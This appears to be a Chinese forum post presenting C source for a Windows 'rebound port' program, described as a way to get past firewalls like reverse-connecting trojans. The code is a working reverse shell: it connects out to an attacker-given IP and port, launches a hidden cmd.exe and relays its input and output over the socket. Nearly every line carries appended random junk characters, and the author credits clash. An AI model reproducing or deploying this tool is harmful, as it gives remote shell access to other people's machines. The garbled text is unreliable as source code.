这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uMJ\
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Rebound port in Windows NT TIWR[r1!
By wind,2006/7 (k?HT'3)
===============================*/ G3~`]qf
#include [ QiG0D_'=
#include H"#ITL
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#pragma comment(lib,"wsock32.lib") &EfQ%r}C
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void OutputShell(); %GHGd'KO&
SOCKET sClient; T#))_aC
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; wY8:j
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void main(int argc,char **argv) 1u
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{ '+`[)w
WSADATA stWsaData; c+ oi8G
int nRet; <s9?9^!!V^
SOCKADDR_IN stSaiClient,stSaiServer; /|IPBU 5
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if(argc != 3) /ad9Q~nJ
{ U ? +_\
printf("Useage:\n\rRebound DestIP DestPort\n"); x4oWZEd
return; =]Vz=<
} |A%9c.DG.
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WSAStartup(MAKEWORD(2,2),&stWsaData); j]Jgz<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8]ZzO(=@{
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stSaiClient.sin_family = AF_INET; 0zaK&]oY0
stSaiClient.sin_port = htons(0); A&Y5z[p
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;mkkaW,D*
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bGPE0}b
{ 7?$?Yu
printf("Bind Socket Failed!\n"); j/FLEsU!R
return; ={qcDgn~C
} eU[g@Pq:Y
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stSaiServer.sin_family = AF_INET; \^x{NV@v42
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xN 1P#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /Mqhx_)>A
{ `(e :H
printf("Connect Error!"); /yOx=V
return; 0l!#u`cCI
} Cn{Hk)6
OutputShell(); l":W@R
} Ri. tA
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void OutputShell() LeKovt%
{ &*C5Nnlv
char szBuff[1024]; M]x>u@JH
SECURITY_ATTRIBUTES stSecurityAttributes; W>K^55'
OSVERSIONINFO stOsversionInfo; XKoY!Y\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rUiYR]mV
STARTUPINFO stStartupInfo; Lc*>sOm9
char *szShell; z3oi(
PROCESS_INFORMATION stProcessInformation; 3k Ci5C
unsigned long lBytesRead; (l{vlFWd
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *g/klK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); YW7W6mWspS
stSecurityAttributes.lpSecurityDescriptor = 0; ,>GHR{7>(
stSecurityAttributes.bInheritHandle = TRUE; ~b f\fPm
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); wA)
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Lc3&\q
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Harg<l
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d#k(>+%=Q
stStartupInfo.wShowWindow = SW_HIDE; t]/eCsR
stStartupInfo.hStdInput = hReadPipe; Nk|cU;?+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j(;^XO Y#
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GetVersionEx(&stOsversionInfo); :|S zD4Ag
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switch(stOsversionInfo.dwPlatformId) bsIG1&n'T
{ RK3 yq$
case 1: $l7^-SK`E
szShell = "command.com"; 64s;EC
break; AK:cDKBO
default: o[|[xuTm
szShell = "cmd.exe"; 8bIP"!=*W
break; ]lB zp D
} 5xQ-f
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2]>O ZhS
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send(sClient,szMsg,77,0); @<.@X*#I
while(1) Gw
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{ (3#PKfY+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5KCB^`|b>t
if(lBytesRead) nxLuzf4U5
{ QV;o9j
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D /eH~
send(sClient,szBuff,lBytesRead,0); Sj9fq*
} jr6_|(0
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else )vp0X\3q`
{
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lBytesRead=recv(sClient,szBuff,1024,0); d2k-MZuT6
if(lBytesRead<=0) break; %uW=kr
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gP^2GnjHL8
} Dg&84,bv^
} jLVJ+mu
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return; y<)TYr
}